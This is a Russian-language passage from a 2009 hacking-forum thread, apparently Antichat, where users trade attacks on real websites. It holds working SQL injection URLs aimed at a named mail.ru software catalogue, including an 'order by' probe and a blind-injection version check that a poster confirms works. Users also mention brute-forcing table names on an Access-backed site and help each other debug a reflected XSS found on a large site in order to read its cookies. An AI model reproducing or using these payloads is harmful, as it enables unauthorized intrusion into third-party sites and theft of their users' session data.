30.03.2009, 01:38
|
|
Познающий
Регистрация: 20.07.2007
Сообщений: 53
С нами:
9900186
Репутация:
100
|
|
select+from+user использовать нельзя
вот прочти ещё это:
https://forum.antichat.ru/showpost.php?p=898813&postcount=25
Последний раз редактировалось Soviet[HZ]; 30.03.2009 в 01:40..
|
|
|
30.03.2009, 02:16
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Сделал брутер для именно этого сайта (Access) по словарям от SIPT4 - ни одной таблы не нашел, гы
если интересно, путь:
'c:\windows\system32\inetsrv\
Интересно, у кого-нибудь есть словари для ACCESS? А то скрипт есть, а словаря нормального на такие случаи нет 
Последний раз редактировалось Pashkela; 30.03.2009 в 02:19..
|
|
|
|
30.03.2009, 17:29
|
|
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
С нами:
9725544
Репутация:
246
|
|
Собственно просто так выкладываю так как просто красивая ошибка жаль правда не че вывести нельзя.
Код:
http://soft.mail.ru/biblio/index.php?cat_id=21&year=2008&order=n&searchstring=%')/**/order/**/by/**/99%23
|
|
|
|
30.03.2009, 17:34
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Почему нельзя, 4-ая ветка:
Код:
http://soft.mail.ru/biblio/index.php?cat_id=21&year=2008&order=n&searchstring=%')/**/and/**/substring(version(),1,1)=4%23
|
|
|
|
30.03.2009, 17:39
|
|
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
С нами:
9725544
Репутация:
246
|
|
Сообщение от Pashkela
Почему нельзя, 4-ая ветка:
Код:
http://soft.mail.ru/biblio/index.php?cat_id=21&year=2008&order=n&searchstring=%')/**/and/**/substring(version(),1,1)=4%23
Ну че то я не вижу версии Или я не туда смотрел
|
|
|
|
30.03.2009, 17:40
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Если вместо 4 подставить 3 или 5 - результат на странице будет совсем другой. Тут blind sql-inj, но вполне работабельный
|
|
|
|
31.03.2009, 02:08
|
|
Новичок
Регистрация: 16.02.2009
Сообщений: 14
С нами:
9069919
Репутация:
38
|
|
Вечер добрый , вобщем нашёл на одном крупном сайте xss (пассивку). Попытался вывести куки через алерт , и получил :
Код:
<store.**********.com>
undefined
,
Что бы это могло значить ? |
|
|
|
31.03.2009, 12:26
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
С нами:
11020706
Репутация:
4693
|
|
Сообщение от Ambassadorik
Что бы это могло значить ?
Скорее всего ты в XSS опечатался, например вместо document.cookie написал document.cookies .
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
31.03.2009, 09:41
|
|
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
С нами:
9875796
Репутация:
770
|
|
Ambassadorik, "undifined" переводится как "не определено", думай что хочешь.
м/б у тебя куки пустые?
|
|
|
|
31.03.2009, 10:04
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами:
9204308
Репутация:
256
|
|
Тупо нет куков, т.к. находишься на сайте на правах гостя, хотя есть еще много вариантов...
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для Soviet[HZ]](/avatars/avatar39175.jpg?1197635){kind=avatar}
Похожие темы
Комбинированный вид
